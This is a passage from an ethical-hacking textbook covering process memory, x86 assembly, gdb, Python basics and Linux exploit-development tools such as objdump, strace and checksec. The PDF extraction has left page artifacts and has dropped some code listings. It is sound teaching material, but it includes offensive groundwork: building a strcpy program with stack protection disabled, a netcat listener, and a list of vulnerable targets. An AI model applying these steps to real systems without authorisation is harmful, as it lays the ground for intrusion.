an attacker who gains control of a process could easily perform shellcode execution in
regions such as the stack and heap.
Stack Section
The stack section is used to keep track of function calls (recursively) and grows from
the higher-addressed memory to the lower-addressed memory on most systems. If the
process is multithreaded, each thread will have a unique stack. As you will see, the fact
that the stack grows from high memory toward low memory allows the subject of buffer
overflows to exist. Local variables exist in the stack section. The stack segment is further
explained in Chapter 10.
Environment/Arguments Section
The environment/arguments section is used to store a copy of system-level variables that
may be required by the process during runtime. For example, among other things, the
path, shell name, and hostname are made available to the running process. This section
Gray Hat Hacking: The Ethical Hacker’s Handbook
34
is writable, allowing its use in format string and buffer overflow exploits. Additionally,
the command-line arguments are stored in this area. The sections of memory reside in
the order presented. The memory space of a process looks like this:
Buffers
The term buffer refers to a storage place used to receive and hold data until it can be
handled by a process. Since each process can have its own set of buffers, it is critical to
keep them straight; this is done by allocating the memory within the .data or .bss section
of the process’s memory. Remember, once allocated, the buffer is of fixed length. The
buffer may hold any predefined type of data; however, for our purpose, we will focus on
string-based buffers, which are used to store user input and text-based variables.
Strings in Memory
Simply put, strings are just continuous arrays of character data in memory. The string is
referenced in memory by the address of the first character. The string is terminated or
ended by a null character (\0 in C). The \0 is an example of an escape sequence. Escape
sequences enable the developer to specify a special operation, such as a newline with
\n or a carriage return with \r. The backslash ensures that the subsequent character is
not treated as part of the string. If a backslash is needed, one can simply use the escape
sequence \\, which will show only a single \. Tables of the various escape sequences can
be found online.
Pointers
Pointers are special pieces of memory that hold the address of other pieces of memory.
Moving data around inside of memory is a relatively slow operation. It turns out that
instead of moving data, keeping track of the location of items in memory through point-
ers and simply changing the pointers is much easier. Pointers are saved in 4 or 8 bytes
of contiguous memory, depending on whether the application is 32-bit or 64-bit. For
example, as mentioned, strings are referenced by the address of the first character in the
array. That address value is called a pointer. The variable declaration of a string in C is
written as follows:
char * str; // This is read. Give me 4 or 8 bytes called str which is a
// pointer to a Character variable (the first byte of the
// array).
Note that even though the size of the pointer is set at 4 or 8 bytes, depending on the
architecture, the size of the string has not been set with the preceding command; there-
fore, this data is considered uninitialized and will be placed in the .bss section of the
process memory.
Chapter 2: Programming Survival Skills
35
Here is another example; if you wanted to store a pointer to an integer in memory, you
would issue the following command in your C program:
PART I
int * point1; //this is read, give me 4 or 8 bytes called point1, which is a
//pointer to an integer variable.
To read the value of the memory address pointed to by the pointer, you dereference
the pointer with the * symbol. Therefore, if you want to print the value of the integer
pointed to by point1 in the preceding code, you would use the command
printf("%d", *point1);
where * is used to dereference the pointer called point1 and display the value of the
integer using the printf() function.
This program does not do much. First, several pieces of memory are allocated in dif-
ferent sections of the process memory. When main is executed ➊, funct1() is called with
an argument of 1 ➋. Once funct1() is called, the argument is passed to the function
variable called c ➌. Next, memory is allocated on the heap for a 10-byte string called
str ➍. Finally, the 5-byte string “abcde” is copied into the new variable called str ➎. The
function ends, and then the main() program ends ➏.
CAUTION You must have a good grasp of this material before moving on in
the book. If you need to review any part of this chapter, please do so before
continuing.
Gray Hat Hacking: The Ethical Hacker’s Handbook
36
Intel Processors
There are several commonly used computer architectures. In this chapter, we focus on
the Intel family of processors or architecture. The term architecture simply refers to the
way a particular manufacturer implemented its processor. The x86 (32-bit) and x86-64
(64-bit) architectures are still the most commonly used today, with other architectures
such as ARM growing each year. Each architecture uses a unique instruction set. Instruc-
tions from one processor architecture are not understood by another processor.
Registers
Registers are used to store data temporarily. Think of them as fast 8- to 64-bit chunks of
memory for use internally by the processor. Registers can be divided into four categories
(32-bit registers are prefixed with an E, and 64-bit registers are prefixed with an R, as in
EAX and RAX). These are listed and described in Table 2-4.
PART I
RFLAGS. EFLAGS Used by the CPU to track
results of logic and the state
of the processor. Key flags
to know are ZF=zero flag,
IF=Interrupt enable flag, and
SF=sign flag.
RIP (instruction 32-bit: EIP Used to point to the address
pointer). of the next instruction to be
executed.
Table 2-4 Categories of Registers for x86 and x86-64 Processors
• The source and destination operands are reversed, and different symbols are used
to mark the beginning of a comment:
• NASM format CMD <dest>, <source> <; comment>
• AT&T format CMD <source>, <dest> <# comment>
• AT&T format uses a % before registers; NASM does not. The % means
“indirect operand.”
• AT&T format uses a $ before literal values; NASM does not. The $ means
“immediate operand.”
• AT&T handles memory references differently than NASM.
Gray Hat Hacking: The Ethical Hacker’s Handbook
38
This section shows the syntax and examples in NASM format for each command.
Additionally, it shows an example of the same command in AT&T format for compari-
son. In general, the following format is used for all commands:
<optional label:> <mnemonic> <operands> <optional comments>
mov
The mov command copies data from the source to the destination. The value is not
removed from the source location.
Data cannot be moved directly from memory to a segment register. Instead, you must use
a general-purpose register as an intermediate step. Here’s an example:
mov eax, 1234h ; store the value 1234 (hex) into EAX
mov cs, ax ; then copy the value of AX into CS.
xor
The xor command conducts a bitwise logical “exclusive or” (XOR) function—for
example, 11111111 XOR 11111111 = 00000000. Therefore, one option is to use XOR
value, value to zero out or clear a register or memory location. Another commonly used
bitwise operator is AND. We could perform a bitwise AND to determine whether a
specific bit within a register or memory location is set or unset, or to determine if a call
to a function such as malloc returns back the pointer to a chunk as opposed to a null.
Chapter 2: Programming Survival Skills
39
This could be accomplished with assembly such as test eax, eax after a call to malloc.
If the call to malloc returns a null, then the test operation will set the “zero flag” in the
PART I
FLAGS register to a 1. The path followed during a conditional jump instruction such as
jnz after this test can be based on the result of the AND operation. The following is how
it would look in assembly:
call malloc(100)
test eax, eax
jnz loc_6362cc012
lea
The lea command loads the effective address of the source into the destination. This
can often be seen when passing the destination argument to a string-copying func-
tion, such as in the following AT&T syntax gdb disassembly example, where we are
Gray Hat Hacking: The Ethical Hacker’s Handbook
40
writing the destination buffer address to the top of the stack as an argument to the
gets function:
lea -0x20(%ebp), %eax
mov %eax, (%esp)
call 0x8048608 <gets@plt>
Addressing Modes
In assembly, several methods can be used to accomplish the same thing. In particular,
there are many ways to indicate the effective address to manipulate in memory. These
options are called addressing modes and are summarized in Table 2-5. Remember, registers
that start with “e” are 32 bits (4 bytes) and those with an “r” are 64 bits (8 bytes).
PART I
An assembly source file is broken into the following sections:
• .model The .model directive indicates the size of the .data and .text sections.
• .stack The .stack directive marks the beginning of the stack section and indicates
the size of the stack in bytes.
• .data The .data directive marks the beginning of the .data section and defines
the variables, both initialized and uninitialized.
• .text The .text directive holds the program’s commands.
The following 64-bit assembly program prints “Hello, haxor!” to the screen:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat ./hello.asm
section .data ; section declaration
msg db "Hello, haxor!",0xa ; our string with a carriage return
len equ $ - msg ; length of our string, $ means here
section .text ; mandatory section declaration
; export the entry point to the ELF linker or
global _start ; loaders conventionally recognize
; _start as their entry point
_start:
The first step in assembling is to convert the assembly into object code (32-bit example):
┌──(kali kali)-[~/GHHv6/ch02]
└─$ nasm -felf64 hello.asm
gdb Basics
Commonly used commands in gdb are listed and described in Table 2-6.
To debug our sample program, first install gdb into your Kali instance:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ sudo apt-get update
Get:1 http://kali.download/kali kali-rolling InRelease [30.5 kB]
…truncated for brevity…
Chapter 2: Programming Survival Skills
43
Reading package lists... Done
┌──(kali kali)-[~/GHHv6/ch02]
└─$ sudo apt install gdb
PART I
Reading package lists... Done
…truncated for brevity…
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 libc6-i386 amd64
2.31-9 [2,819 kB]
…truncated for brevity…
Now, we issue the following commands. The first command will recompile our meet
program with debugging symbols and other useful options (refer to Table 2-3).
┌──(kali kali)-[~/GHHv6/ch02]
└─$ gcc -ggdb -mpreferred-stack-boundary=4 -fno-stack-protector -o meet meet.c
┌──(kali kali)-[~/GHHv6/ch02]
└─$ gdb -q meet
Reading symbols from meet...
(gdb) run l337 Haxor
Starting program: /home/kali/GHHv6/ch02/meet l337 Haxor
Hello l337 Haxor
Bye l337 Haxor
[Inferior 1 (process 17417) exited normally]
(gdb) b main
Breakpoint 1 at 0x5555555551ab: file meet.c, line 10.
(gdb) run l337 Haxor
Starting program: /home/kali/GHHv6/ch02/meet l337 Haxor
To conduct disassembly with gdb, you need the following two commands:
set disassembly-flavor <intel/att>
disassemble <function name>
The first command toggles back and forth between Intel (NASM) and AT&T format.
By default, gdb uses AT&T format. The second command disassembles the given func-
tion (to include main, if given). For example, to disassemble the function called greeting
in both formats, you type this:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ gdb -q meet
Reading symbols from meet...
(gdb) disassemble greeting
Dump of assembler code for function greeting:
0x0000000000001145 <+0>: push %rbp
0x0000000000001146 <+1>: mov %rsp,%rbp
0x0000000000001149 <+4>: sub $0x1a0,%rsp
0x0000000000001150 <+11>: mov %rdi,-0x198(%rbp)
0x0000000000001157 <+18>: mov %rsi,-0x1a0(%rbp)
0x000000000000115e <+25>: mov -0x1a0(%rbp),%rdx
0x0000000000001165 <+32>: lea -0x190(%rbp),%rax
0x000000000000116c <+39>: mov %rdx,%rsi
0x000000000000116f <+42>: mov %rax,%rdi
0x0000000000001172 <+45>: call 0x1030 <strcpy@plt>
0x0000000000001177 <+50>: lea -0x190(%rbp),%rdx
0x000000000000117e <+57>: mov -0x198(%rbp),%rax
0x0000000000001185 <+64>: mov %rax,%rsi
0x0000000000001188 <+67>: lea 0xe75(%rip),%rdi # 0x2004
0x000000000000118f <+74>: mov $0x0,%eax
0x0000000000001194 <+79>: call 0x1040 <printf@plt>
0x0000000000001199 <+84>: nop
0x000000000000119a <+85>: leave
0x000000000000119b <+86>: ret
End of assembler dump.
(gdb) set disassembly-flavor intel
(gdb) disassemble greeting
Dump of assembler code for function greeting:
0x0000000000001145 <+0>: push rbp
0x0000000000001146 <+1>: mov rbp,rsp
0x0000000000001149 <+4>: sub rsp,0x1a0
0x0000000000001150 <+11>: mov QWORD PTR [rbp-0x198],rdi
0x0000000000001157 <+18>: mov QWORD PTR [rbp-0x1a0],rsi
0x000000000000115e <+25>: mov rdx,QWORD PTR [rbp-0x1a0]
0x0000000000001165 <+32>: lea rax,[rbp-0x190]
0x000000000000116c <+39>: mov rsi,rdx
0x000000000000116f <+42>: mov rdi,rax
0x0000000000001172 <+45>: call 0x1030 <strcpy@plt>
…truncated for brevity…
0x000000000000119b <+86>: ret
End of assembler dump.
(gdb) quit
PART I
tion with the /r <function name> option dumps out the opcodes and operands as well
as the instructions. Opcodes are essentially the machine code representations of the preas-
sembled assembly code.
Getting Python
We’re going to blow past the usual architecture diagrams and design goals spiel and
tell you to just go download the Python version for your OS from www.python.org/
download/ so you can follow along here. Alternatively, try just launching it by typing
python at your command prompt—it comes installed by default on many Linux distri-
butions and Mac OS X 10.3 and later.
If you have Kali 2020.4, you will still need to manually launch version 3 by running the
command python3, like so:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
Every language introduction must start with the obligatory “Hello, world!” example, and
here it is for Python 3.8.6 on Kali 2020.4, launched with the previous python3 command:
>>> print("Hello, world!")
Hello, world!
>>>
Notice that in Python 3, print is a formal function and requires parentheses2. If you
wish to exit this Python shell, type exit().
Python Objects
The main things you need to understand really well are the different types of objects that
Python can use to hold data and how it manipulates that data. We’ll cover the big five
data types: strings, numbers, lists, dictionaries, and files. After that, we’ll cover some basic
syntax and the bare minimum you will need to know about Python and networking.
You already used one string object in Lab 2-12. Strings are used in Python to hold text.
The best way to show you how easy it is to use and manipulate strings is to demonstrate
the technique, again using the Python 3 shell, as follows:
>>> string1 = 'Dilbert'
>>> string2 = 'Dogbert'
>>> string1 + string2
'DilbertDogbert'
Chapter 2: Programming Survival Skills
47
>>> string1 + " Asok " + string2
'Dilbert Asok Dogbert'
>>> string3 = string1 + string2 + "Wally"
PART I
>>> string3
'DilbertDogbertWally'
>>> string3[2:10] # string 3 from index 2 (0-based) to 10
'lbertDog'
>>> string3[0]
'D'
>>> len(string3)
19
>>> string3[14:] # string3 from index 14 (0-based) to end
'Wally'
>>> string3[-5:] # Start 5 from the end and print the rest
'Wally'
>>> string3.find('Wally') # index (0-based) where string starts
14
>>> string3.find('Alice') # -1 if not found
-1
>>> string3.replace('Dogbert','Alice') # Replace Dogbert with Alice
'DilbertAliceWally'
>>> print('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') # 30 A's the hard way
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>>> print ('A' * 30) # 30 A's the easy way
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
These are the basic string-manipulation functions you’ll use when working with
simple strings. The syntax is simple and straightforward, just as you’ll come to expect
from Python. One important distinction to make right away is that each of those
strings (we named them string1, string2, and string3) is simply a pointer—for those
familiar with C—or a label for a blob of data out in memory someplace. One concept
that sometimes trips up new programmers is the idea of one label (or pointer) pointing
to another label. The following code and Figure 2-1 demonstrate this concept:
>>> label1 = 'Dilbert'
>>> label2 = label1
At this point, we have a blob of memory somewhere with the Python string 'Dilbert'
stored. We also have two labels pointing at that blob of memory. If we then change
label1’s assignment, label2 does not change:
... continued from above
>>> label1 = 'Dogbert'
>>> label2
'Dilbert'
Figure 2-1
Two labels
pointing at the
same string in
memory
Gray Hat Hacking: The Ethical Hacker’s Handbook
48
Figure 2-2
Label1 is
reassigned
to point to a
different string.
As you can see in Figure 2-2, label2 is not pointing to label1, per se. Rather, it’s point-
ing to the same thing label1 was pointing to until label1 was reassigned.
Similar to Python strings, numbers point to an object that can contain any kind of
number. This data type can hold small numbers, big numbers, complex numbers,
negative numbers, and any other kind of number you can dream up. The syntax is just
as you’d expect:
>>> n1=5 # Create a Number object with value 5 and label it n1
>>> n2=3
>>> n1 * n2
15
>>> n1 ** n2 # n1 to the power of n2 (5^3)
125
>>> 5 / 3, 5 % 3 # Divide 5 by 3, then 5 modulus 3
(1.6666666666666667, 2)
# In Python 2.7, the above 5 / 3 calculation would not result in a float without
# specifying at least one value as a float.
>>> n3 = 1 # n3 = 0001 (binary)
>>> n3 << 3 # Shift left three times: 1000 binary = 8
8
>>> 5 + 3 * 2 # The order of operations is correct
11
Now that you’ve seen how numbers work, we can start combining objects. What
happens when we evaluate a string plus a number?
>>> s1 = 'abc'
>>> n1 = 12
>>> s1 + n1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: Can't convert 'int' object to str implicitly
Error! We need to help Python understand what we want to happen. In this case, the
only way to combine 'abc' and 12 is to turn 12 into a string. We can do that on the fly:
>>> s1 + str(n1)
'abc12'
>>> s1.replace('c',str(n1))
'ab12'
Chapter 2: Programming Survival Skills
49
When it makes sense, different types can be used together:
PART I
>>> s1*n1 # Display 'abc' 12 times
'abcabcabcabcabcabcabcabcabcabcabcabc'
And one more note about objects—simply operating on an object often does not
change the object. The object itself (number, string, or otherwise) is usually changed only
when you explicitly set the object’s label (or pointer) to the new value, as follows:
>>> n1 = 5
>>> n1 ** 2 # Display value of 5^2
25
>>> n1 # n1, however is still set to 5
5
>>> n1 = n1 ** 2 # Set n1 = 5^2
>>> n1 # Now n1 is set to 25
25
The next type of built-in object we’ll cover is the list. You can throw any kind of object
into a list. A list is usually created by adding [ and ] around an object or a group of
objects. You can do the same kind of clever “slicing” as with strings. Slicing refers to our
string example of returning only a subset of the object’s values—for example, from the
fifth value to the tenth with label1[5:10]. Let’s look at how the list type works:
>>> mylist = [1,2,3]
>>> len(mylist)
3
>>> mylist*4 # Display mylist, mylist, mylist, mylist
[1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3]
>>> 1 in mylist # Check for existence of an object
True
>>> 4 in mylist
False
>>> mylist[1:] # Return slice of list from index 1 and on
[2, 3]
>>> biglist = [['Dilbert', 'Dogbert', 'Catbert'],
... ['Wally', 'Alice', 'Asok']] # Set up a two-dimensional list
>>> biglist[1][0]
'Wally'
>>> biglist[0][2]
'Catbert'
>>> biglist[1] = 'Ratbert' # Replace the second row with 'Ratbert'
>>> biglist
[['Dilbert', 'Dogbert', 'Catbert'], 'Ratbert']
>>> stacklist = biglist[0] # Set another list = to the first row
>>> stacklist
['Dilbert', 'Dogbert', 'Catbert']
>>> stacklist = stacklist + ['The Boss']
>>> stacklist
Gray Hat Hacking: The Ethical Hacker’s Handbook
50
['Dilbert', 'Dogbert', 'Catbert', 'The Boss']
>>> stacklist.pop() # Return and remove the last element
'The Boss'
>>> stacklist.pop()
'Catbert'
>>> stacklist.pop()
'Dogbert'
>>> stacklist
['Dilbert']
>>> stacklist.extend(['Alice', 'Carol', 'Tina'])
>>> stacklist
['Dilbert', 'Alice', 'Carol', 'Tina']
>>> stacklist.reverse()
>>> stacklist
['Tina', 'Carol', 'Alice', 'Dilbert']
>>> del stacklist[1] # Remove the element at index 1
>>> stacklist
['Tina', 'Alice', 'Dilbert']
Next, we’ll take a quick look at dictionaries and then files, and then we’ll put all the
elements together.
Dictionaries are similar to lists, except that an object stored in a dictionary is referenced
by a key, not by the index of the object. This turns out to be a very convenient mecha-
nism for storing and retrieving data. A dictionary is created by adding { and } around a
key-value pair, like this:
>>> d = { 'hero' : 'Dilbert' }
>>> d['hero']
'Dilbert'
>>> 'hero' in d
True
>>> 'Dilbert' in d # Dictionaries are indexed by key, not value
False
>>> d.keys() # keys() returns a list of all objects used as keys
dict_keys(['hero'])
>>> d.values() # values() returns a list of all objects used as values
dict_keys(['Dilbert'])
>>> d['hero'] = 'Dogbert'
>>> d
{'hero': 'Dogbert'}
>>> d['buddy'] = 'Wally'
>>> d['pets'] = 2 # You can store any type of object, not just strings
>>> d
{'hero': 'Dogbert', 'buddy': 'Wally', 'pets': 2}
We’ll use dictionaries more in the next section as well. Dictionaries are a great way to
store any values that you can associate with a key, where the key is a more useful way to
fetch the value than a list’s index.
Chapter 2: Programming Survival Skills
51
PART I
File access is as easy as the rest of Python’s language. Files can be opened (for reading
or for writing), written to, read from, and closed. Let’s put together an example using
several of the different data types discussed here, including files. This example assumes
that we start with a file named targets and that we transfer the file contents into indi-
vidual vulnerability target files. (We can hear you saying, “Finally, an end to the Dilbert
examples!”) Note the required indentation being used within blocks. In this example, we
use the Python 3 shell to parse a file and move the contents of that file into two other
files. We use two shells in Kali, each in the same directory. Comments, which start with
the # symbol, are given within the code. You obviously don’t need to type them.
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat targets
RPC-DCOM 10.10.20.1,10.10.20.4
SQL-SA-blank-pw 10.10.20.27,10.10.20.28
# We want to move the contents of targets into two separate files
┌──(kali kali)-[~/GHHv6/ch02]
└─$ python3
# First, open the file for reading
>>> targets_file = open('targets','r') ➊
# Read the contents into a list of strings
>>> lines = targets_file.readlines()
>>> lines
['RPC-DCOM\t10.10.20.1,10.10.20.4\n', 'SQL-SA-blank-pw\
t10.10.20.27,10.10.20.28\n']
# We can also do it with a "with" statement using the following syntax:
>>> with open("targets", "r") as f:
... lines = f.readlines()
...
>>> lines
['RPC-DCOM 10.10.20.1,10.10.20.4\n', 'SQL-SA-blank-pw
10.10.20.27,10.10.20.28\n', '\n']
# The "with" statement automatically ensures that the file is closed and
# is seen as a more appropriate way of working with files..
# Let's organize this into a dictionary
>>> lines_dictionary = {}
>>> for line in lines: ➋ # Notice the trailing : to start a loop
... one_line = line.split() # split() will separate on white space
... line_key = one_line[0]
... line_value = one_line[1]
... lines_dictionary[line_key] = line_value
... # Note: Next line is blank (<CR> only) to break out of the for loop
...
>>> # Now we are back at python prompt with a populated dictionary
>>> lines_dictionary
{'RPC-DCOM': '10.10.20.1,10.10.20.4', 'SQL-SA-blank-pw':
'10.10.20.27,10.10.20.28'}
# Loop next over the keys and open a new file for each key
>>> for key in lines_dictionary.keys():
... targets_string = lines_dictionary[key] # value for key
... targets_list = targets_string.split(',') # break into list
... targets_number = len(targets_list)
Gray Hat Hacking: The Ethical Hacker’s Handbook
52
... filename = key + '_' + str(targets_number) + '_targets'
... vuln_file = open(filename,'w')
... for vuln_target in targets_list: # for each IP in list...
... vuln_file.write(vuln_target + '\n')
... vuln_file.close()
...
>>> exit()
┌──(kali kali)-[~/GHHv6/ch02]
└─$ ls
RPC-DCOM_2_targets targets
SQL-SA-blank-pw_2_targets
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat SQL-SA-blank-pw_2_targets
10.10.20.27
10.10.20.28
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat RPC-DCOM_2_targets
10.10.20.1
10.10.20.4
This example introduces a couple new concepts. First, you now see how easy it is to
use files; open() takes two arguments ➊: the first is the name of the file you’d like to read
or create, and the second is the access type. You can open the file for reading (r), writing
(w), and appending (a). Adding a + after the letter adds more permissions; for example,
r+ results in read and write access to the file. Adding a b after the permission opens it in
binary mode.
Second, you now have a for loop example ➋. The structure of a for loop is as follows:
for <iterator-value> in <list-to-iterate-over>:
# Notice the colon at the end of the previous line
# Notice the indentation
# Do stuff for each value in the list
Unindenting one level or a placing a carriage return on a blank line closes the loop.
No need for C-style curly brackets. Also, if statements and while loops are similarly
structured. Here is an example:
if foo > 3:
print('Foo greater than 3')
elif foo == 3:
print('Foo equals 3')
else:
print('Foo not greater than or equal to 3')
...
while foo < 10:
foo = foo + bar
Chapter 2: Programming Survival Skills
53
PART I
The final topic we need to cover is Python’s socket object. To demonstrate Python
sockets, let’s build a simple client that connects to a remote (or local) host and then
sends 'Say something:'. To test this code, we need a “server” to listen for this client to
connect. We can simulate a server by binding a netcat listener to port 4242 with the
following syntax (you need to launch nc in a new shell):
┌──(kali kali)-[~/GHHv6/ch02]
└─$ nc -l -p 4242
You do need to remember to import the socket library. The socket instantiation
line also has some socket options to remember, but the rest is easy. You connect to a
host and port ➊, send what you want ➋, then use recv to store the data into an object
➌, and then close the socket ➍. When you execute this in a separate shell, by typing
python3 client.py, you should see “Say something:” show up on your netcat listener.
Anything you type into the listener should be returned to the client ➎. For extra credit,
figure out how to simulate that netcat listener in Python with the bind(), listen(), and
accept() statements.
Summary
This chapter provides you with introductory programming concepts and security consid-
erations. An ethical hacker must have programming skills to create exploits and review
source code, and they need to understand assembly code when reversing malware or find-
ing vulnerabilities. Last but not least, debugging is a must-have skill in order to analyze
the malware at runtime or to follow the execution of shellcode in memory. The only way
to learn a programming language or reverse engineering is through practice, so get working!
References
1. Danny Cohen, “On Holy Wars and a Plea for Peace.” Internet Experiment Note
(IEN) 137, April 1, 1980, www.ietf.org/rfc/ien/ien137.txt.
2. Guido Van Rossum, “[Python-Dev] Replacement for Print in Python 3.0,”
September 4, 2006, mail.python.org, https://mail.python.org/pipermail/
python-dev/2005-September/056154.html.
Linux Exploit
Development Tools
CHAPTER
3
In this chapter, we cover the following topics:
• Binary, dynamic information-gathering tools: ldd, objdump, strace, ltrace,
checksec, libc-database, patchelf, one_gadget, and Ropper
• Extending gdb with Python and the popular gdb scripts Gef and pwndbg
• The pwntools capture the flag (CTF) and exploit development library
• The HeapME (Heap Made Easy) heap analysis and collaboration tool
With the evolution of Linux security controls, and techniques to bypass these limita-
tions, the fields of vulnerability discovery, crash analysis, and exploit development are
becoming more challenging. This forces researchers to spend more time and effort on
finding and exploiting critical vulnerabilities.
In this chapter, we review various modern exploit development tools that can help
simplify the process of information gathering, crash analysis, debugging, and exploit
development.
Let’s begin by connecting to a standard Kali machine. Open your favorite text editor to
write the following simple program, which will be used as a lab for testing and under-
standing the different tools:
// hello.c
#include <stdio.h>
#include <stdlib.h>
55
Gray Hat Hacking: The Ethical Hacker’s Handbook
56
#include <string.h>
int main() {
char *ghh = malloc(30);
strncpy(ghh, "Gray Hat Hacking", 16);
printf("%s - ", ghh);
free(ghh);
puts("6th Edition");
return 0;
}
This file is also provided to you in your ~/GHHv6/ch03 folder, having previously
cloned the Gray Hat Hacking 6th Edition Git repository. Now let’s compile and execute
the binary to confirm it works as expected:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ gcc hello.c -o hello && ./hello
Gray Hat Hacking - 6th Edition
The ldd tool displays the shared libraries loaded by programs at runtime. These librar-
ies have the suffix .so (shared object) and consist of individual files that contain a list of
functions. Using shared libraries has many benefits, such as promoting code reusability,
writing smaller programs, and making large applications easier to maintain.
From a security perspective, it is important to understand which shared libraries a
program is using and how they are being loaded. If the developer is not careful enough,
shared libraries could be abused to gain code execution or full system compromise.
Attack opportunities range from finding weak file permissions and using rpath to replace
a shared library with an evil one, to being able to leak an address of a loaded library, and
even abusing its interesting gadgets to achieve execution flow control with ROP/JOP
code-reuse attack techniques.
Here is the output after running ldd /bin/ls:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ ldd /bin/ls
linux-vdso.so.1 (0x00007ffcee78f000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f122caa2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f122c8dd000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f122c845000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f122c83f000)
/lib64/ld-linux-x86-64.so.2 (0x00007f122cb0b000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f122c81d000)
PART I
of the function of interest.
With the -R option, you can display the list of functions in the GOT:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ objdump -R ./hello
./hello: file format elf64-x86-64
...
0000000000004020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
Now let’s use objdump to locate the address that will be called in the PLT to get to
the puts() function:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ objdump -M intel -d -j .plt ./hello | grep 4020
1040: ff 25 da 2f 00 00 jmp QWORD PTR [rip+0x2fda] # 4020 puts@
GLIBC_2.2.5
• -M intel tells objdump to use Intel syntax mode instead of the default (AT&T).
• -d is short for --disassemble.
• -j .plt specifies the section we want to display (PLT).
Now we will use -j .text to find the call to puts in the program we are analyzing:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ objdump -M intel -d -j .text ./hello| grep 1040
11c5: e8 76 fe ff ff call 1040 <puts@plt>
where -tx (-t is for radix, x is for hexadecimal) prints the offset within the file at the
beginning of each string.
Gray Hat Hacking: The Ethical Hacker’s Handbook
58
The second step is
┌──(kali kali)-[~]
└─$ objdump -M intel -d ./hello|grep -C1 200a
11b9: e8 72 fe ff ff call 1030 <free@plt>
11be: 48 8d 3d 45 0e 00 00 lea rdi,[rip+0xe45] # 200a <_IO_stdin_used+0xa>
11c5: e8 76 fe ff ff call 1040 <puts@plt>
The strace command-line utility is useful when we need to trace system calls and signals.
It uses the ptrace system call to inspect and manipulate the target program, and besides
allowing us to better understand the program’s behavior, it can also be used for tampering
with the behavior of system calls for better troubleshooting or for faster reproduction of
an attack under specific situations (for example, fault injection, return value injection,
signal injection, and delay injection). Let’s look at some examples.
First of all, make sure you have the strace package installed using the dpkg -l strace
command because it doesn’t ship with Kali by default. Use sudo apt install strace to install it.
When you run strace without arguments, it will display all system calls and signals,
like so:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ strace ./hello
execve("./hello", ["./hello"], 0x7ffc5f37c750 /* 30 vars */) = 0
brk(NULL) = 0x56455a042000
...
write(1, "Gray Hat Hacking - 6th Edition\n", 31Gray Hat Hacking - 6th Edition
) = 31
exit_group(0) = ?
+++ exited with 0 +++
How would the program behave if the write function is not implemented?
┌──(kali kali)-[~/GHHv6/ch03]
└─$ strace -e trace=write -e fault=write ./hello
write(1, "Gray Hat Hacking - 6th Edition\n", 31) = -1 ENOSYS (Function not
implemented) (INJECTED)
+++ exited with 0 +++
Chapter 3: Linux Exploit Development Tools
59
We can also inject a specific error response. Let’s inject the error “EAGAIN (Resource
temporarily unavailable)” instead:
PART I
┌──(kali kali)-[~/GHHv6/ch03]
└─$ strace -e trace=write -e fault=write:error=EAGAIN ./hello
write(1, "Gray Hat Hacking - 6th Edition\n", 31) = -1 EAGAIN (Resource
temporarily unavailable) (INJECTED)
+++ exited with 0 +++
It is also possible to use strace to inject delays. This is very helpful in many cases,
but a good example is a situation where we need to make a race condition more deter-
ministic by helping decrease the randomness of the scheduler preemption. Let’s inject a
delay of 1 second before the read function executes (delay_enter) and a delay 1 second
after the write function executes (delay_exit). By default, the expected time precision
is microseconds:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ strace -e inject=read:delay_enter=1000000 \
-e inject=write:delay_exit=1000000 ./hello
...
If you’re interested in learning more about strace, Dmitry Levin (the active strace
maintainer) walks you through a list of powerful features in his “Modern strace” talk.1
The main purpose of the ltrace utility is to trace calls to shared libraries and their
responses, but it can also be used to trace system calls. Make sure you have the ltrace
package installed using the dpkg -l ltrace command, as it isn’t shipped with Kali by
default. Use sudo apt install ltrace in case you need to install it.
Here is the output after running ltrace ./hello:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ ltrace ./hello
malloc(30) = 0x55fc9cf772a0
printf("%s - ", "Gray Hat Hacking")= 19
free(0x55fc9cf772a0) = <void>
puts("6th Edition"Gray Hat Hacking - 6th Edition) = 12
+++ exited (status 0) +++
The checksec shell script parses a program’s ELF header to determine which compile-time
mitigation technologies are being used, such as RELRO, NX, Stack Canaries, ASLR, and
PIE. This helps to identify constraints for exploitation. Similar checksec functions and
commands are also available on most exploitation development tools and frameworks
(such as the pwntools checksec function).
We could get checksec directly from its GitHub page,2 or install it using sudo apt
install checksec.
Running checksec on the hello program we compiled earlier will show the enabled
mitigations (depending on the defaults for the distribution’s gcc configuration), as
shown here:
┌──(kali kali)-[~/GHHv6/ch03]
└─$ checksec --file=./hello
[*] '/home/kali/GHHv6/ch03/hello'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Let’s compile our hello.c program again with all the security mitigations enabled and
